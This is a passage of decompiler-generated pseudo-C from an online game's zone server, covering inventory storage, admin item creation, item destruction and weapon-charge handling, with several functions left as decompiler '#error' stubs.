!(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 24))( v5, v2, *(_WORD *)(pAck + 8), 0) ) { v6 = *(_WORD *)(pAck + 8); v7 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck : "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } } else { v4 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 32))(v4, *(_WORD *)(pAck + 8)); } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -19437; *((_WORD *)v9 + 1) = *(_WORD *)(pAck + 6); *((_WORD *)v9 + 2) = *(_WORD *)(pAck + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck"); } //----- (004D97F0) -------------------------------------------------------- ItemAttributeClass *__thiscall ItemSmallBag::isb_Store(ItemSmallBag *this, int slot, ItemTotalInformation *iti) { ItemSmallBag *v3; // esi@1 ItemInform_ActionItem *v4; // eax@1 ItemInform_ActionItem *v5; // esi@1 unsigned __int16 v6; // ax@2 ItemAttributeClass *v7; // eax@2 ItemAttributeClass *v8; // edi@2 ItemAttributeClass *result; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemSmallBag::isb_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemSmallBag::isb_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (ItemInform_ActionItem *)v3->vfptr->isb_GetInventoryCell(v3, slot); v5 = v4; if ( v4 ) { ItemInform_ActionItem::sii_Import(v4, iti); v6 = ItemInventoryCell::iic_ItemIdent(v5); v7 = ItemAttributeClassContainer::operator__(&itmattcontainer, v6); v8 = v7; *(_DWORD *)&v5[1].iiai_RegistNumber.binary.gap0[2] = v7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemSmallBag::isb_Store"); result = v8; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemSmallBag::isb_Store"); result = 0; } return result; } //----- (004D98F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease(void *this, char send, int idx) { void *v3; // edi@1 signed int v4; // ebx@1 int v5; // ecx@1 int v6; // edx@4 int v7; // esi@7 int v8; // eax@7 int v9; // esi@7 unsigned int v10; // eax@8 __int16 v11; // bx@14 int v12; // eax@14 int v13; // ebp@14 char *v14; // esi@19 int v15; // eax@19 int v16; // edi@19 char v17; // al@19 ZoneBaseSession *v18; // eax@20 char *v19; // [sp+Ch] [bp-48h]@6 EngageArgument arg; // [sp+24h] [bp-30h]@4 int v21; // [sp+50h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v5 = funcallanalizer.fca_stackpoint++ + 1; v21 = 0; if ( !costumweapondecreaser ) { funcallanalizer.fca_stackpoint = v5 - 1; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"); return; } if ( idx ) { EngageArgument::EngageArgument(&arg, 0, 0, (SkillDataBox::SkillDataIndex *)idx, 0, 0); v6 = **(_DWORD **)(idx + 64); LOBYTE(v21) = 1; if ( (unsigned __int8)(*(int (__stdcall **)(EngageArgument *))(v6 + 32))(&arg) ) { costumweapondecreaser = 0; v7 = *((_DWORD *)v3 + 23070); v8 = *(_DWORD *)(v7 + 10); v9 = v7 + 10; if ( v8 ) { v10 = v8 - 1; *(_DWORD *)v9 = v10; if ( send || !(v10 % 0xA) ) ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(v3); if ( !(*(_DWORD *)v9 % 0xAu) ) ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(v3); if ( !*(_DWORD *)v9 ) { v11 = 13; v12 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8042))( (char *)v3 + 32168, 13); v13 = v12; if ( !v12 || *(_WORD *)(v12 + 8) == -1 ) { v11 = 11; v13 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8042))( (char *)v3 + 32168, 11); } if ( v13 && *(_WORD *)(v13 + 8) != -1 ) { ShineObjectClass::ShinePlayer::sp_NoticeItemBreak(v3, 8, v11); ShineObjectClass::ShinePlayer::sp_ItemDelete(v3, v13, 8, v11, 0); v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1554; *(_DWORD *)(v14 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *(_DWORD *)(v14 + 6) = *(_DWORD *)v13; *(_DWORD *)(v14 + 10) = *(_DWORD *)(v13 + 4); v15 = *(_DWORD *)((char *)v3 + 98); *(_DWORD *)(v14 + 14) = *(_DWORD *)v15; *(_DWORD *)(v14 + 18) = *(_DWORD *)(v15 + 4); *(_DWORD *)(v14 + 22) = *(_DWORD *)(v15 + 8); v16 = *(_DWORD *)((char *)v3 + 78); *(_DWORD *)(v14 + 26) = *(_DWORD *)v16; *(_DWORD *)(v14 + 30) = *(_DWORD *)(v16 + 4); v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 34); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease : Packet Too Long", 34) ) { v18 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v18); } } v4 = -1; } } LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); v19 = "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"; goto LABEL_23; } LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); } v19 = "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"; LABEL_23: --funcallanalizer.fca_stackpoint; v21 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v19); } // 124CDE48: using guessed type unsigned __int8 costumweapondecreaser; //----- (004D9B40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreItem(void *this, int inv, int iti, int exchange) { void *v4; // ebx@1 ItemAttributeClass *v5; // eax@3 char *v6; // esi@4 unsigned __int16 v7; // cx@4 char *v8; // eax@5 int v9; // esi@7 int v10; // eax@9 char *v11; // [sp-10h] [bp-24h]@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StoreItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_StoreItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(_WORD *)inv & 0xFC00) == 15360 ) { v5 = ItemSmallBag::isb_Store( (ItemSmallBag *)v4 + 14223, *(_WORD *)inv & 0x3FF, (ItemTotalInformation *)iti); if ( v5 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12289; *((_WORD *)v6 + 2) = *(_WORD *)inv; *((_WORD *)v6 + 1) = *(_WORD *)exchange; v7 = *(_WORD *)(iti + 8); *((_WORD *)v6 + 3) = v7; if ( v7 == -1 ) v8 = v6 + 8; else v8 = ItemTotalInformation::iti_fill2buffer_atrib((ItemTotalInformation *)iti, v5, v7, v6 + 8); v9 = v8 - v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StoreItem : Packet Too Long", v9); } } v11 = "ShineObjectClass::ShinePlayer::so_ply_StoreItem"; } else { v11 = "ShineObjectClass::ShinePlayer::so_ply_StoreItem"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); } //----- (004D9C90) -------------------------------------------------------- #error "4D9C90: undefined or illegal type '#434' (funcsize=287)" //----- (004DA070) -------------------------------------------------------- #error "4DA070: undefined or illegal type '#434' (funcsize=178)" //----- (004DA2C0) -------------------------------------------------------- #error "4DA2C0: undefined or illegal type '#434' (funcsize=241)" //----- (004DA620) -------------------------------------------------------- #error "4DA620: undefined or illegal type '#434' (funcsize=134)" //----- (004DA7F0) -------------------------------------------------------- #error "4DA7F0: undefined or illegal type '#434' (funcsize=459)" //----- (004DADE0) -------------------------------------------------------- #error "4DADE0: undefined or illegal type '#325' (funcsize=80)" //----- (004DAF00) -------------------------------------------------------- #error "4DAF00: undefined or illegal type '#325' (funcsize=80)" //----- (004DB020) -------------------------------------------------------- #error "4DB020: undefined or illegal type '#325' (funcsize=104)" //----- (004DB190) -------------------------------------------------------- #error "4DB190: undefined or illegal type '#325' (funcsize=104)" //----- (004DB300) -------------------------------------------------------- #error "4DB300: undefined or illegal type '#325' (funcsize=68)" //----- (004DB3F0) -------------------------------------------------------- #error "4DB3F0: undefined or illegal type '#434' (funcsize=308)" //----- (004DB7A0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(int itemcreatefail) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_NC_ITEMDB_ADMINCREATEFAIL_ACK", 0); } //----- (004DB7C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin(void *this, int box, int slot, int iti, int iic) { void *v5; // edi@1 int v6; // ebx@1 char v7; // al@1 char *v8; // esi@5 int v9; // eax@5 int v10; // eax@5 unsigned __int16 v11; // ST14_2@5 ItemAttributeClass *v12; // eax@5 int v13; // esi@5 ZoneBaseSession *v14; // eax@7 int v15; // eax@8 int v16; // eax@9 char *v17; // [sp+18h] [bp-24h]@4 int itia; // [sp+48h] [bp+Ch]@5 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = iti; ShineObjectClass::ShinePlayer::sp_MagicContainerMake(v5, iti, 0); if ( v7 ) goto LABEL_4; if ( !*(_DWORD *)((char *)v5 + 98) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::ShineInvenSearch::sp_CreateItemByAdmin : Invalid so_Field", 0); LABEL_4: v17 = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; goto LABEL_11; } v8 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = *((_WORD *)v5 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *(_WORD *)v8 = 13313; *((_WORD *)v8 + 4) = *((_WORD *)v5 + 28870); *(_DWORD *)(v8 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); v9 = *(_DWORD *)((char *)v5 + 98); *(_DWORD *)(v8 + 14) = *(_DWORD *)v9; *(_DWORD *)(v8 + 18) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 22) = *(_DWORD *)(v9 + 8); v10 = *(_DWORD *)((char *)v5 + 78); *(_DWORD *)(v8 + 26) = *(_DWORD *)v10; *(_DWORD *)(v8 + 30) = *(_DWORD *)(v10 + 4); *((_WORD *)v8 + 17) = ((_WORD)box << 10) | slot & 0x3FF; itia = (int)(v8 + 34); *((_WORD *)v8 + 22) = *(_WORD *)(v6 + 8); *((_DWORD *)v8 + 9) = *(_DWORD *)v6; *((_DWORD *)v8 + 10) = *(_DWORD *)(v6 + 4); *((_WORD *)v8 + 23) = 46; v11 = *(_WORD *)(v6 + 8); v12 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v6 + 8)); v13 = ItemTotalInformation::iti_fill2buffer_atrib((ItemTotalInformation *)v6, v12, v11, v8 + 48) - (v8 + 48) + 48; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v13) ) { v14 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v14); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin : Packet Too Long", v13); } v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1916))(v5); LOWORD(v15) = *(_WORD *)(v15 + 4); (*(void (__thiscall **)(char *, int, int, int, int, int))(*((_DWORD *)v5 + 14434) + 48))( (char *)v5 + 57736, v15, iic, v6, itia, itia); if ( box == 8 ) { v16 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1916))(v5); (*(void (__thiscall **)(char *, _DWORD, int, int, signed int, _DWORD))(*((_DWORD *)v5 + 14434) + 64))( (char *)v5 + 57736, *(_WORD *)(v16 + 4), slot, iic, -1, 0); } ++*((_WORD *)v5 + 28870); v17 = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v17); } //----- (004DB9D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(void *this, int itemcreatefail) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK"); } //----- (004DBA80) -------------------------------------------------------- #error "4DBA80: undefined or illegal type '#325' (funcsize=74)" //----- (004DBB90) -------------------------------------------------------- #error "4DBB90: undefined or illegal type '#325' (funcsize=65)" //----- (004DBC80) -------------------------------------------------------- #error "4DBC80: undefined or illegal type '#325' (funcsize=119)" //----- (004DBE20) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, int Handle, unsigned __int16 ItemID, __int16 inv, int InvenType) { void *v5; // edi@1 int v6; // edx@1 InventoryLocking::InventoryCellLock *v7; // eax@1 __int16 v8; // si@1 int v9; // eax@2 char result; // al@2 InventoryLocking::UnlockedInventoryIterator uii; // [sp+4h] [bp-2Ch]@1 ItemBoxIterIdent itemitertmp; // [sp+10h] [bp-20h]@1 int v13; // [sp+2Ch] [bp-4h]@1 v5 = this; itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; itemitertmp.baseclass_0.ibi_itembag = (ItemBag *)inv; itemitertmp.baseclass_0.ibi_Limit = (*(int (**)(void))(*(_DWORD *)inv + 8))(); itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; itemitertmp.ibii_ident = ItemID; v6 = *(_DWORD *)v5; v13 = 0; v7 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v6 + 1916))(v5); v8 = InvenType; uii.uii_Iterator = (ItemBoxIterator *)&itemitertmp; uii.uii_LockList = v7; uii.uii_InvenType = InvenType; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { v9 = (**(int (__stdcall ***)(_DWORD))uii.uii_Iterator->ibi_itembag)(uii.uii_Iterator->ibi_finger); ItemID = (((v8 << 10) | ItemID & 0x3FF) ^ LOWORD(uii.uii_Iterator->ibi_finger)) & 0x3FF ^ ((v8 << 10) | ItemID & 0x3FF); result = ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, Handle, v9, &ItemID); } else { result = 0; } return result; } // 4DBC80: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004DBF10) -------------------------------------------------------- #error "4DBF10: undefined or illegal type '#325' (funcsize=289)" //----- (004DC330) -------------------------------------------------------- #error "4DC330: undefined or illegal type '#325' (funcsize=86)" //----- (004DC460) -------------------------------------------------------- #error "4DC460: undefined or illegal type '#325' (funcsize=58)" //----- (004DC540) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_GetItemInvenLot(void *this, unsigned __int16 itemid) { void *v2; // esi@1 int v3; // edi@1 int v4; // ecx@1 int v5; // eax@2 int result; // eax@6 int v7; // eax@7 ItemBoxIterIdent ibii; // [sp+8h] [bp-20h]@1 int v9; // [sp+24h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = (int)((char *)v2 + 35536); v9 = 0; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v2 + 35536); if ( v2 == (void *)-91696 ) v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); else v5 = (*(int (__stdcall **)(char *))(*(_DWORD *)v4 + 4))((char *)v2 + 91696); ibii.baseclass_0.ibi_Limit = v5; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; ibii.ibii_ident = itemid; LOBYTE(v9) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterIdent::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { do { v7 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); if ( !v7 ) break; v3 += (*(int (__stdcall **)(int))(**(_DWORD **)(v7 + 112) + 24))(v7 + 8); } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"); result = v3; } else { --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"); result = 0; } return result; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004DC6B0) -------------------------------------------------------- #error "4DC6B0: undefined or illegal type '#325' (funcsize=107)" //----- (004DC830) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, int handle, int iti) { void *v3; // esi@1 int v4; // ecx@1 int v5; // eax@2 int v6; // edx@4 InventoryLocking::InventoryCellLock *v7; // eax@4 int v8; // edi@6 int v9; // eax@6 char *v10; // [sp-8h] [bp-38h]@5 InventoryLocking::UnlockedInventoryIterator itemiter; // [sp+8h] [bp-28h]@4 ItemBoxIterEmpty itemitertmp; // [sp+14h] [bp-1Ch]@1 int v13; // [sp+2Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int)((char *)v3 + 35536); v13 = 0; itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; itemitertmp.baseclass_0.ibi_itembag = (ItemBag *)((char *)v3 + 35536); if ( v3 == (void *)-91696 ) v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); else v5 = (*(int (__stdcall **)(char *))(*(_DWORD *)v4 + 4))((char *)v3 + 91696); itemitertmp.baseclass_0.ibi_Limit = v5; itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; v6 = *(_DWORD *)v3; LOBYTE(v13) = 1; v7 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v6 + 1916))(v3); itemiter.uii_Iterator = (ItemBoxIterator *)&itemitertmp; itemiter.uii_LockList = v7; itemiter.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&itemiter) ) { v8 = itemiter.uii_Iterator->ibi_finger; v9 = (**(int (__stdcall ***)(_DWORD))itemiter.uii_Iterator->ibi_itembag)(itemiter.uii_Iterator->ibi_finger); ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin(v3, 9, v8, iti, v9); v10 = "ShineObjectClass::ShinePlayer::sp_MakeItem"; } else { v10 = "ShineObjectClass::ShinePlayer::sp_MakeItem"; } --funcallanalizer.fca_stackpoint; itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); } // 4DC830: inconsistent function type and number of purged bytes // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); //----- (004DC950) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, int handle, int method, unsigned __int16 itm, unsigned int lot) { void *v5; // ebx@1 int v6; // ST08_4@1 CServerInfo::MY_SERVER *v7; // eax@1 ItemAttributeClass *v8; // edi@4 ItemTotalInformation iti; // [sp+14h] [bp-80h]@1 unsigned int v10; // [sp+84h] [bp-10h]@5 int v11; // [sp+90h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem 2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeItem 2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v6 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v7 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&iti, method, v7->nZoneNo, v6); iti.iti_itemstruct.itemid = itm; if ( ItemDataBox::operator__(&itemdatabox, itm) && ItemDataBox::operator__(&itemdatabox, itm)->data ) { v8 = ItemAttributeClassContainer::operator__(&itmattcontainer, itm); v8->vfptr->iac_itemcreate( v8, itm, &iti, (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); v8->vfptr->iac_SetLot(v8, &iti.iti_itemstruct, lot); ShineObjectClass::ShinePlayer::sp_MakeItem(v5, handle, (int)&iti); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem 2"); } else { --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem 2"); } __security_check_cookie(v10); } //----- (004DCAC0) -------------------------------------------------------- #error "4DCAC0: undefined or illegal type '#434' (funcsize=66)" //----- (004DCBC0) -------------------------------------------------------- void __cdecl ItemDismantleProducer::_ItemDismantleProducer() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDismantleProducer::~ItemDismantleProducer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDismantleProducer::~ItemDismantleProducer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemDismantleProducer::~ItemDismantleProducer"); } //----- (004DCC00) -------------------------------------------------------- signed __int16 __thiscall ItemDismantleProducer::idp_WhereDismantleProductStore(void *ecx0, char a2, int a3, char a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22, int a23, int a24, int a25, int a26, int a27, int a28, int a29, int a30, char a31) { void *v31; // esi@1 signed int v32; // ebx@1 int v33; // edx@1 ItemDataBox::ItemDataBoxIndex *v34; // edx@1 FunctionProfiler::PerformanceRecorder *v35; // ecx@2 unsigned int v37; // eax@4 unsigned int v38; // ecx@4 signed int v39; // edx@4 int v40; // edi@4 int v41; // eax@10 ItemBag *v42; // ecx@10 unsigned __int16 v43; // bx@10 int v44; // eax@11 InventoryLocking::InventoryCellLock *v45; // eax@13 int v46; // ebx@14 int v47; // eax@16 int v48; // edx@17 int j; // ecx@17 ItemBoxIteratorVtbl *v50; // ebx@24 int v51; // eax@25 ItemBag *v52; // ecx@25 int v53; // eax@26 InventoryLocking::InventoryCellLock *v54; // eax@28 ItemBoxIterator *v55; // edx@29 int v56; // ecx@29 int k; // eax@29 int v58; // ST08_4@35 CServerInfo::MY_SERVER *v59; // eax@35 void *v60; // ebx@35 char *v61; // [sp+2h] [bp-184h]@2 char isAlreadySettle; // [sp+1Dh] [bp-169h]@8 int nNowProductItemLot; // [sp+1Eh] [bp-168h]@8 signed int i; // [sp+22h] [bp-164h]@4 void *v65; // [sp+26h] [bp-160h]@1 unsigned int nProductCnt; // [sp+2Ah] [bp-15Ch]@4 unsigned int nMaxItemLot; // [sp+2Eh] [bp-158h]@4 InventoryLocking::UnlockedInventoryIterator uii; // [sp+32h] [bp-154h]@13 InventoryLocking::UnlockedInventoryIterator this; // [sp+3Eh] [bp-148h]@28 int UseSlotCheckCnt; // [sp+4Ah] [bp-13Ch]@23 ItemBoxIterEmpty ibie; // [sp+4Eh] [bp-138h]@25 ItemBoxIterIdent ibii; // [sp+5Eh] [bp-128h]@10 FunctionEntarance _; // [sp+72h] [bp-114h]@1 int UseSlotCheck[64]; // [sp+76h] [bp-110h]@4 int v75; // [sp+182h] [bp-4h]@1 int v76; // [sp+186h] [bp+0h]@23 void *v77; // [sp+18Ah] [bp+4h]@23 v31 = ecx0; v65 = ecx0; _.fe_FunctionCode = "ItemDismantleProducer::idp_WhereProductStore"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDismantleProducer::idp_WhereProductStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDismantleProducer::idp_WhereProductStore"; v32 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v33 = *((_WORD *)v31 + 4); v75 = 0; v34 = ItemDataBox::operator__(&itemdatabox, v33); if ( v34 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDismantleProducer::idp_WhereProductStore : Invalid Item", *((_WORD *)v31 + 4)); --funcallanalizer.fca_stackpoint; v75 = -1; v61 = "ItemDismantleProducer::idp_WhereProductStore"; v35 = &_PerformanceRecorder; goto LABEL_3; } UseSlotCheck[0] = -1; memset(&UseSlotCheck[1], 0, 0xFCu); v37 = *((_DWORD *)v31 + 3); v38 = v34->data->MaxLot; v39 = 0; v40 = 0; nProductCnt = *((_DWORD *)v31 + 3); nMaxItemLot = v38; i = 0; if ( (signed int)v37 <= 0 ) goto LABEL_38; while ( 2 ) { if ( 